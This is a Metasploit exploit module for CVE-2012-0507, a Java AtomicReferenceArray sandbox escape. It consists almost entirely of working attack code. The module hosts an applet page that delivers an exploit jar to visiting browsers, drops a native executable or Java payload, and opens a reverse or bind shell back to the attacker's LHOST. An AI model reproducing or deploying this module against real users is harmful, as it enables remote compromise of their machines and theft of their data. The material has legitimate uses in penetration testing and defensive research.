Java AtomicReferenceArray Type Violation

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize( info = {} )  
super( update_info( info,  
'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',  
'Description' => %q{  
This module exploits a vulnerability due to the fact that  
AtomicReferenceArray uses the Unsafe class to store a reference in an  
array directly, which may violate type safety if not used properly.  
This allows a way to escape the JRE sandbox, and load additional classes  
in order to perform malicious operations.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'sinn3r', # metasploit module  
'juan vazquez', # metasploit module  
'egypt' # special assistance  
],  
'References' =>  
[  
['CVE', '2012-0507'],  
['OSVDB', '80724'],  
['BID', '52161'],  
['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],  
['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],  
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507']  
],  
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],  
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Platform' => ['java'],  
'Arch' => ARCH_JAVA,  
}  
],  
[ 'Windows x86 (Native Payload)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
}  
],  
[ 'Mac OS X PPC (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_PPC,  
}  
],  
[ 'Mac OS X x86 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86,  
}  
],  
[ 'Linux x86 (Native Payload)',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 14 2012'  
))  
end  
  
  
def exploit  
# load the static jar file  
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0507.jar" )  
fd = File.open( path, "rb" )  
@jar_data = fd.read(fd.stat.size)  
fd.close  
  
super  
end  
  
  
def on_request_uri( cli, request )  
data = ""  
host = ""  
port = ""  
peer = "#{cli.peerhost}:#{cli.peerport}"  
  
if not request.uri.match(/\.jar$/i)  
if not request.uri.match(/\/$/)  
send_redirect( cli, get_resource() + '/', '')  
return  
end  
  
print_status("#{peer} - Sending #{self.name}")  
  
payload = regenerate_payload( cli )  
if not payload  
print_error("#{peer} - Failed to generate the payload." )  
return  
end  
  
if target.name == 'Generic (Java Payload)'  
if datastore['LHOST']  
jar = payload.encoded  
host = datastore['LHOST']  
port = datastore['LPORT']  
vprint_status("Java reverse shell to #{host}:#{port} from #{peer}" )  
else  
port = datastore['LPORT']  
datastore['RHOST'] = cli.peerhost  
vprint_status( "Java bind shell on #{cli.peerhost}:#{port}..." )  
end  
if jar  
print_status( "Generated jar to drop (#{jar.length} bytes)." )  
jar = Rex::Text.to_hex( jar, prefix="" )  
else  
print_error("#{peer} - Failed to generate the executable." )  
return  
end  
else  
  
# NOTE: The EXE mixin automagically handles detection of arch/platform  
data = generate_payload_exe  
  
if data  
print_status("#{peer} - Generated executable to drop (#{data.length} bytes)." )  
data = Rex::Text.to_hex( data, prefix="" )  
else  
print_error("#{peer} - Failed to generate the executable." )  
return  
end  
  
end  
  
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )  
return  
end  
  
print_status( "#{peer} - sending jar..." )  
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )  
  
handler( cli )  
end  
  
def generate_html( data, jar, host, port )  
jar_name = rand_text_alpha(rand(6)+3) + ".jar"  
  
html = "<html><head></head>"  
html += "<body>"  
html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"  
html += "<param name=\"data\" value=\"#{data}\"/>" if data  
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar  
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host  
html += "<param name=\"lport\" value=\"#{port}\"/>" if port  
html += "</applet></body></html>"  
return html  
end  
  
def generate_jar()  
return @jar_data  
end  
  
end  
`